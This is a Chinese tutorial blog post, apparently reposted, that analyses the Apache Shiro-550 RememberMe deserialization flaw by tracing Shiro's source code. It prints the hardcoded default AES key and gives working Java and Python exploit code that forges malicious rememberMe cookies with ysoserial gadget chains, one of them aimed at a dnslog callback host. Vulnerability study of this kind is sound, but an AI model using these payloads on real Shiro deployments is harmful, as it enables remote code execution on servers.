Java框架安全篇--Shiro-550漏洞

Java框架安全篇--Shiro-550漏洞

Shiro反序列化源码可以提取:

 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

JAVA反序列化就不说了,可以参考前面文章

https://blog.csdn.net/m0_63138919/article/details/136751184

初始Apache Shiro 

Apache Shiro是一个强大的并且简单使用的java权限框架.主要应用认证(Authentication),授权(Authorization),cryptography(加密),和Session Manager.Shiro具有简单易懂的API,使用Shiro可以快速并且简单的应用到任何应用中,无论是从最小的移动app到最大的企业级web应用都可以使用。

Shiro反序列化的漏洞有两个,550和721,这次我们先分析以下550 

Apache Shiro -550
Apache Shiro RememberMe 反序列化导致的命令执行漏洞

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理

编号:Shiro-550, CVE-2016-4437

版本:Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)
在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

 

 在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

加密过程

首先我们利用靶场进行登入 并点击然后抓包得到

可以看到返回的http头里面新增了Set-Cookie,rememberMe还有一串字符。然后既然与rememberMe有关 ,我们着重关注他的代码处理就行

我们在\shiro-shiro-root-1.2.4\shiro-shiro-root-1.2.4\core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager.java里面发现了

shiro启动时在构造函数中设置密钥为DEFAULT_CIPHER_KEY_BYTES

这个也就是我们要找到的默认的KEY了 我们跟进到 AbstractRememberMeManager继承的接口RememberMeManager(直接crtl+n 搜索就行)

RememberMeManager.java里面发现onSuccessfulLogin方法

 继续跟踪又回到 AbstractRememberMeManager.java里面发现里有一个判断isRememberMe的方法就是我们的有没有勾选RememberMe,如果没有就不走rememberIdentity,

    public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
        //always clear any previous identity:
        forgetIdentity(subject);

        //now save the new identity:
        if (isRememberMe(token)) {
            rememberIdentity(subject, token, info);
        } else {
            if (log.isDebugEnabled()) {
                log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +
                        "RememberMe functionality will not be executed for corresponding account.");
            }
        }
    }

那我们继续跟进 rememberIdentity函数方法,authcInfo的值就是我们输入root用户名,继续跟进,

    public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
        PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
        rememberIdentity(subject, principals);
    }

 在rememberIdentity方法中,一个函数就是转化为bytes

    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
        rememberSerializedIdentity(subject, bytes);
    }
    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

跟进convertPrincipalsToBytes,进入convertPrincipalsToBytes方法,发现它会序列化,而且序列化的是传入的root用户名,然后调用encrypt方法加密序列化后的二进制字节,那我们继续跟encrypt方法

代码如下  

    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }

里面的CipherService cipherService = getCipherService() ,获取到加密模式,如果不为空就会进入到加密方法,加密方法是AES加密方法,而且是AES/CBC/PKCS5Padding

再看

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());

明显这是获取秘钥了,直接跟进getEncryptionCipherKey ,

但是这个没有写值:

private byte[] encryptionCipherKey;

但是在构造方法里面有一个方法setCipherKey,可以看到传入有一个常量DEFAULT_CIPHER_KEY_BYTES

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

看到setCipherKey(DEFAULT_CIPHER_KEY_BYTES);是不是觉得很熟悉,原来我们最开始就已经获得了这个key

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

随后就传入 encrypt函数,继续更进

public ByteSource encrypt(byte[] plaintext, byte[] key) {
    byte[] ivBytes = null;
  

    boolean generate = this.isGenerateInitializationVectors(false);

    if (generate) {
      	 
   
        ivBytes = this.generateInitializationVector(false);
      
  
        if (ivBytes == null || ivBytes.length == 0) {
            throw new IllegalStateException("Initialization vector generation is enabled - generated vectorcannot be null or empty.");
        }
    }

    return this.encrypt(plaintext, key, ivBytes, generate);
}

基本的加密逻辑已知 序列化root+ key +iv 懂了之后 我们继续看rememberIdentity

    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
        rememberSerializedIdentity(subject, bytes);
    }

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

通过上面的分析,可以得知加密后数据一直向上回溯,直到 rememberIdentity这个方法下有个 rememberSerializedIdentity方法 我们继续跟进,在shiro-shiro-root-1.2.4\shiro-shiro-root-1.2.4\web\src\main\java\org\apache\shiro\web\mgt\CookieRememberMeManager.java 找到了该方法

    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                        "request and response in order to set the rememberMe cookie. Returning immediately and " +
                        "ignoring rememberMe operation.";
                log.debug(msg);
            }
            return;
        }


        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);

        //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);

        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }

 下面的这个把刚刚加密的数据base64,然后都加入到cookie里面

cookie.setValue(base64);

所以我们可以得到cookie生成流程:

整个加密过程不是很复杂:

1、序列化principals对象的值(root)

2、将序列化后principals对象的值跟DEFAULT_CIPHER_KEY_BYTES进行AES加密,iv为随机,模式为CBC

3、生成Base64字符串,写入Cookie

解密过程 

从获取到客户端数据开始分析 查看AbstractRememberMeManager类的getRememberedPrincipals方法

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        // 获取被记住的主体身份的序列化字节数组
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            // 将序列化字节数组转换为主体身份集合
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

发现getRememberedSerializedIdentity方法,跟进getRememberedSerializedIdentity方法 

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

    if (!WebUtils.isHttp(subjectContext)) {
        if (log.isDebugEnabled()) {
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                    "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                    "immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }
        return null;
    }

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (isIdentityRemoved(wsc)) {
        return null;
    }


    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);
    String base64 = getCookie().readValue(request, response);
   
    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
        base64 = ensurePadding(base64);
        if (log.isTraceEnabled()) {
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");
        }
        // 将 Base64 编码的字符串解码为字节数组
        byte[] decoded = Base64.decode(base64);
        if (log.isTraceEnabled()) {
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
        }
        return decoded;
    } else {

        return null;
    }
}

我们发现  String base64 = getCookie().readValue(request, response); 这就是使用readValue进行读取cookice中的数据,跟进 readValue方法

根据 Cookie 中的 name 字段(这个字段就是 rememberMe)获取 Cookie 的值最终把获取cookie里面的rememberme 给到 value 返回上一级函数,继续看getRememberedSerializedIdentity方法里面的解密 解密成为二进制的数据(bytes)

    byte[] decoded = Base64.decode(base64);
  • 再次回到AbstractRememberMeManager 类 进入 convertBytesToPrincipals 方法

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    // 获取加密服务对象
    if (getCipherService() != null) {
        // 解密
        bytes = decrypt(bytes);
    }
    // 对解密后的结果进行反序列化
    return deserialize(bytes);
}

进入decrypt函数 

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

主要观察下面这句话获取AES的秘钥 getDecryptionCipherKey()后,带着秘文和AES公钥进入decrypt函数

 ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

跟进到进入到JcaCipherService类的decrypt方法 

   public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

        byte[] encrypted = ciphertext;

        //No IV, check if we need to read the IV from the stream:
        byte[] iv = null;

        if (isGenerateInitializationVectors(false)) {
            try {
                //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
                //is:
                // - the first N bytes is the initialization vector, where N equals the value of the
                // 'initializationVectorSize' attribute.
                // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.

                //So we need to chunk the method argument into its constituent parts to find the IV and then use
                //the IV to decrypt the real ciphertext:

                int ivSize = getInitializationVectorSize();
                int ivByteSize = ivSize / BITS_PER_BYTE;

                //now we know how large the iv is, so extract the iv bytes:
                iv = new byte[ivByteSize];
          	     //ivByteSize=16
          	    //ciphertext这个数组 0-16位 覆盖到 iv数组 ,相当于给 vi赋值 ciphertext的前16位
                System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

                //remaining data is the actual encrypted ciphertext.  Isolate it:
                int encryptedSize = ciphertext.length - ivByteSize;
                encrypted = new byte[encryptedSize];
                // ciphertext数组 ,从 16位后面的数据 赋值给encrypted 
                System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
            } catch (Exception e) {
                String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
                throw new CryptoException(msg, e);
            }
        }

        return decrypt(encrypted, key, iv);
    }

这里的函数的大概意思是将传入的ciphertext分成iv和encrypted两部分,在传入重载的decrypt中进行解密  继续跟进decrypt

    private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
        if (log.isTraceEnabled()) {
            log.trace("Attempting to decrypt incoming byte array of length " +
                    (ciphertext != null ? ciphertext.length : 0));
        }
        byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE);
        return decrypted == null ? null : ByteSource.Util.bytes(decrypted);
    }

这就是进行AES解密 ,跟踪crypt函数,在JcaCipherService 中的 crypt 方法发现这也是AES解密的详细过程

    private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException {
        if (key == null || key.length == 0) {
            throw new IllegalArgumentException("key argument cannot be null or empty.");
        }
        javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false);
        return crypt(cipher, bytes);
    }

解密完成后,一步步的return回到上级函数,回到convertBytesToPrincipals函数部分

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

终于看到deserialize函数 继续跟进 ,一直跟进到 DefaultSerializer 的 deserialize方法中,见到了readObject()方法,调用了readObject函数,也是触发各种恶意链的地方

最后返回至getRememberedPrincipals函数,得到了principal实例对象 

总结:

获取remeberMe的值——>base64解密——>AES解密——>反序列化

漏洞利用 

1、编写恶意的CC链,并转换成字节码

2、使用里面固定的key加密我们的CC链并进行序列化

2、放到Cookie里面的rememberMe进行访问

注意:

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。 
CC6:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class expShiro  {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");


        InvokerTransformer newTransformer = new InvokerTransformer("toString", null, null);


        Map hashMap1 = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap1,newTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,obj);
        HashMap hashMap2 = new HashMap();
        hashMap2.put(tiedMapEntry,"2");
        lazymap.clear();
        setFieldValue(newTransformer,"iMethodName","newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");


        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(hashMap2);
        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.printf(Base64.encodeToString(ciphertext.getBytes()));
        oss.close();

    }

}
dnslog :
import base64
import sys
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
    # 这里使用CommonsCollections2模块
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

    # 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
    BS = AES.block_size

    # 按照加密规则按一定长度对齐,如果不够要要做填充对齐
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    # 泄露的key
    key = "kPH+bIxk5D2deZiIxcaaaA=="

    # AES的CBC加密模式
    mode = AES.MODE_CBC

    # 使用uuid4基于随机数模块生成16字节的 iv向量
    iv = uuid.uuid4().bytes

    # 实例化一个加密方式为上述的对象
    encryptor = AES.new(base64.b64decode(key), mode, iv)

    # 用pad函数去处理yso的命令输出,生成的序列化数据
    file_body = pad(popen.stdout.read())

    # iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_rememberMe_value


def dnslog(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_rememberMe_value


if __name__ == '__main__':
    # cc2的exp
    payload = encode_rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
    print("rememberMe={}".format(payload.decode()))

    # dnslog的poc
    payload1 = encode_rememberme('http://ca4qki.dnslog.cn/')
    print("rememberMe={}".format(payload1.decode()))

    cookie = {
        "rememberMe": payload.decode()
    }

    requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)

工具利用:

ShiroAttack2 java环境1.8

修复: 

  1. 及时升级shiro版本,不再使用固定的密钥加密。

  2. 在应用程序上部署防火墙、加强身份验证等措施以提高安全性

总结: 

这一块学习了2天,其实还是很多原理都没搞懂,但唯一不变的就是你去学,就肯定能学到点东西,一定要回过头来复习复习,毕竟面试的时候肯定会问

参考:

Shiro反序列化漏洞原理分析(Shiro-550/Shiro-721) - 知乎 (zhihu.com)

深入探究Shiro漏洞成因及攻击技术 - 先知社区 (aliyun.com)

Shiro 550 反序列化漏洞 详细分析+poc编写_shiro550 ysoserial-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/491577.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

安科瑞智慧安全用电综合解决方案

概述 智慧用电管理云平台是智慧城市建设的延伸成果&#xff0c;将电力物联网技术与云平台的大数据分析功能相结合&#xff0c;实现用电信息的可视化管理&#xff0c;可帮助用户实现安全用电&#xff0c;节约用电&#xff0c;可靠用电。平台支持web&#xff0c;app&#xff0c;微…

智慧交通(代码实现案例)

1.项目简介 目标: 了解智慧交通项目的架构知道智慧交通项目中的模块能够完成智慧交通项目的环境搭建 该项目是智慧交通项目&#xff0c;通过该项目掌握计算机视觉的方法在交通领域的相关应用&#xff0c;包括车道线检测的方法&#xff0c;多目标车辆追踪及流量统计方法&#…

1.4.1 着色器

着色器&#xff08;Shader&#xff09;是运行在GPU上的小程序&#xff0c;这些小程序为图形渲染管线的某个特定部分而运行&#xff0c;从基本意义上来说&#xff0c;着色器只是一种把输入转化为输出的程序。 一、着色器类QOpenGLShaderProgram QOpenGLShaderProgram是Qt中对着…

thinkadmin 新版安装步骤

1.通过 Composer 安装: ( 推荐方式,默认只安装 admin 模块 ) ### 创建项目( 需要在英文目录下面执行 ) composer create-project zoujingli/thinkadmin### 进入项目根目录 cd thinkadmin### 数据库初始化并安装 ### 默认使用 Sqlite 数据库,若使用其他数据库请按第二步修…

I.MX6ULL_Linux_驱动篇(57)linux Regmap API驱动

我们在前面学习 I2C 和 SPI 驱动的时候&#xff0c;针对 I2C 和 SPI 设备寄存器的操作都是通过相关的 API 函数进行操作的。这样 Linux 内核中就会充斥着大量的重复、冗余代码&#xff0c;但是这些本质上都是对寄存器的操作&#xff0c;所以为了方便内核开发人员统一访问 I2C/S…

当当狸智能激光雕刻机 多种材质自由雕刻,轻松打造独一无二的作品

提及“激光雕刻”&#xff0c;大多数人的印象一般都是&#xff1a;笨重巨大、价格昂贵、操作复杂、使用门槛较高、调试难度大...不是普通人能够随意操作的&#xff0c;让人望尘莫及。 而小米有品上新的这台「当当狸桌面智能激光雕刻机L1」&#xff0c;将超乎你的想象&#xff…

ABAP - 上传文件模板到SMW0,并从SMW0上下载模板

upload file template to SMW0 and download the template from it 首先上传文件到tcode SMW0 选择新建后,输入文件名和描述,再选择想要上传的文件 上传完成后: 在表WWWPARAMS, WWWDATA里就会有信息存进去 然后就可以程序里写代码了: 屏幕上的效果:

界面控件DevExpress WinForms/WPF v23.2 - 电子表格支持表单控件

DevExpress WinForm拥有180组件和UI库&#xff0c;能为Windows Forms平台创建具有影响力的业务解决方案。DevExpress WinForm能完美构建流畅、美观且易于使用的应用程序&#xff0c;无论是Office风格的界面&#xff0c;还是分析处理大批量的业务数据&#xff0c;它都能轻松胜任…

yolov9报错:AttributeError: ‘list‘ object has no attribute ‘view‘的两种解决方法

1. 报错问题 In loss_tal.py: pred_distri, pred_scores torch.cat([xi.view(feats[0].shape[0], self.no, -1) for xi in feats], 2).split( (self.reg_max * 4, self.nc), 1) The error is as follows&#xff1a; AttributeError: list object has no attribute vie…

5.递归分治——1.递归与函数调用

程序运行 指令 指令的划分以函数为单位&#xff0c;调用函数本质上是使用call指令将pc指针移动到被调用的函数函数调用完成&#xff0c;需要使用return返回&#xff0c;本质是pc移回调用函数位置 数据 函数调用时&#xff0c;在堆栈区域要申请一片栈帧&#xff0c;函数的局…

linux用户管理命令2

useradd可以创建用户&#xff0c;其执行具体表现为在home文件夹下创建对应文件 那么有了useradd添加用户&#xff0c;自然有passwd添加用户密码 userdel可以删除用户&#xff0c;其中-r命令删除用户及其文件&#xff0c;-f命令可以强制删除用户&#xff0c;即使用户当前正在登录…

LeetCode 面试经典150题 205.同构字符串

题目&#xff1a; 给定两个字符串 s 和 t &#xff0c;判断它们是否是同构的。 如果 s 中的字符可以按某种映射关系替换得到 t &#xff0c;那么这两个字符串是同构的。 每个出现的字符都应当映射到另一个字符&#xff0c;同时不改变字符的顺序。不同字符不能映射到同一个字…

【MATLAB源码-第16期】基于matlab的MSK定是同步仿真,采用gardner算法和锁相环。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 **锁相环&#xff08;PLL&#xff09;** 是一种控制系统&#xff0c;用于将一个参考信号的相位与一个输入信号的相位同步。它在许多领域中都有应用&#xff0c;如通信、无线电、音频、视频和计算机系统。锁相环通常由以下几个…

什么是公网IP?

公网IP&#xff0c;即公开网络IP地址&#xff0c;是指在互联网中公开可见、可访问的IP地址。每个设备在连接互联网时&#xff0c;都需要一个唯一的公网IP地址&#xff0c;以便其他设备可以定位并与之通信。 尽管公网IP在网络通信中具有重要作用&#xff0c;但它也带来了一些安全…

机器学习之聚类算法、随机森林

文章目录 随机森林决策树基础特征值问题&#xff1f; 聚类算法 随机森林 决策树 基础 概念&#xff1a;从根节点一步步走到叶子节点&#xff08;决策&#xff09;&#xff1b; 组成&#xff1a;根节点第一个选择的节点&#xff1b;叶子节点最终的决策结果&#xff1b;非叶子…

汽车电子行业知识:智能汽车电子架构

文章目录 3.智能汽车电子架构3.1.汽车电子概念及发展3.2.汽车电子架构类型3.2.1.博世汽车电子架构3.2.2.联合电子未来汽车电子架构3.2.3.安波福汽车电子架构3.2.4.丰田汽车电子架构3.2.5.华为汽车电子架构 3.智能汽车电子架构 3.1.汽车电子概念及发展 汽车电子是车体汽车电子…

LeetCode146:LRU缓存

leetCode&#xff1a;146. LRU 缓存 题目描述 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCache 类&#xff1a; LRUCache(int capacity) 以 正整数 作为容量 capacity 初始化 LRU 缓存 int get(int key) 如果关键字 key 存在于缓存中&#x…

达梦数据库自动备份(全库)+还原(全库) 控制台

一 前提 1.安装达梦数据库DB8(请参照以前文章) 我的数据库安装目录是 /app/dmDB8 2.已创建实例 (请参照上一篇文章) 二 准备测试数据 三 自动备份步骤 1.开启归档模式 开启DM管理工具管理控制台 弹不出来工具的 输入命令 xhost 第一步 将服务器转换为配置状态 右键-&g…

基于SpringBoot和Vue的车辆管理系统的设计与实现

今天要和大家聊的是一款基于SpringBoot和Vue的车辆管理系统的设计与实现 &#xff01;&#xff01;&#xff01; 有需要的小伙伴可以通过文章末尾名片咨询我哦&#xff01;&#xff01;&#xff01; &#x1f495;&#x1f495;作者&#xff1a;李同学 &#x1f495;&#x1f…

数据结构——链表(单链表)

大家好&#xff0c;又是我&#xff08;小锋&#xff09;&#xff0c;今天给大家带了一个比较有挑战的章节&#xff08;链表&#xff09;&#xff0c;但是不用担心&#xff0c;小锋会陪大家一起度过。 顺序表的思考与问题 1. 中间/头部的插入删除&#xff0c;时间复杂度为O(N) …